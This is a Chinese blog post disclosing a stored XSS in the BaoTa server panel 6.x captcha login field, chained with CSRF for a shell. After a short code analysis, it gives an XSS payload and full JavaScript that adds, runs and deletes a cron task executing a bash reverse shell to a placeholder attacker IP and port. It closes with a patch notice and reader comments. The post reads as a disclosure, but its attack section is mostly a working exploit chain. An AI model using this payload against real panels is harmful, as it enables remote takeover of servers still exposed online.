宝塔面板6.X版本前台存储XSS+后台Csrf组合拳GetShell

  • 内容
  • 相关

什么是宝塔面板?

宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

漏洞影响

涉及版本有 内测阶段的6.0x 小范围灰度测试的6.1x/6.2 
以前的版本3.x/4.x/5.x都不存在这个漏洞

漏洞代码分析

在6.x Linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。

我们直接看漏洞代码。

1.png

分析POST请求部分

2.png

代码如下

3.png

这里首先判断了是否有 用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。
从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误
关键的代码如下:

4.png

此处记录了一下POST的请求。然后将Code传入到了写日志的一个函数里面。追踪一下这个函数。 在Public.py 里面,找到如下函数

5.png

这里就是一个写日志的功能。定义了一个Type 然后是Args 。这里把Code传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了XSS漏洞产生。
可以在宝塔数据库当中,看到Logs数据库里存储的信息

10.png

漏洞复现

直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码

6.jpg

7.png

由于没有任何过滤处理,我们直接输入弹窗的Payload:

<script>alert('www.dafsec.org')</script>

8.png

登录后台后,打开安全模块,成功触发弹窗

9.png

由于服务器管理面板的特殊性,后台可以进行敏感操作。手写JS远程调用,利用Csrf漏洞在计划任务处配合存储XSS,可成功反弹Shell,成功截图如下:

11.png

远程调用JS代码如下:

function addTask(TaskName, execTime, ip, port) {
    var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1';
    execShell = encodeURIComponent(execShell);
    var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined'
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=AddCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

function execTask(TaskName) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=GetCrontab', true);
    xhr.send();
    xhr.onload = function () {
        if (this.readyState == 4 && this.status == 200) {
            var res = JSON.parse(this.responseText);
            if (res[0].name == TaskName) {
                var TaskID = res[0].id.toString();
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '/crontab?action=StartTask', false);
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                var params = 'id=' + TaskID;
                xhr.send(params);
                delTask(res[0].id);
                console.log(res[0].id);
                return res[0].id;
            }
        }
    }
}

function delTask(TaskID) {
    var params = 'id=' + TaskID.toString();
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=DelCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);

宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。

官方已修复该漏洞,可以将附件当中的test.py同名覆盖掉宝塔6.x最新版Linux版当中的

管理员设置回复可下载

本文标签:

版权声明:若无特殊注明,本文皆为《南柯一梦》原创,转载请保留文章出处。

本文链接:宝塔面板6.X版本前台存储XSS+后台Csrf组合拳GetShell - https://www.nkymbk.cn/post-53.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知

评论

3条评论
  1. avatar

    顾仔 Lv.3 Chrome 63.0.3239.132 Chrome 63.0.3239.132 Windows 7 x64 Edition Windows 7 x64 Edition 回复

    这个好火啊

    青海省 联通

    1. avatar

      子成 Lv.2 uBrowser 6.2.4094.1 uBrowser 6.2.4094.1 Windows Windows 回复

      老哥你这些东西贼6

      广东省广州市 移动GSM/TD-SCDMA/LTE全省共用出口

      1. avatar

        小果果 Lv.1 Firefox 56.0 Firefox 56.0 Windows Windows 回复

        还有这肿操作

        福建省福州市 移动GSM/TD-SCDMA/LTE全省共用出口

        00:00 / 00:00
        顺序播放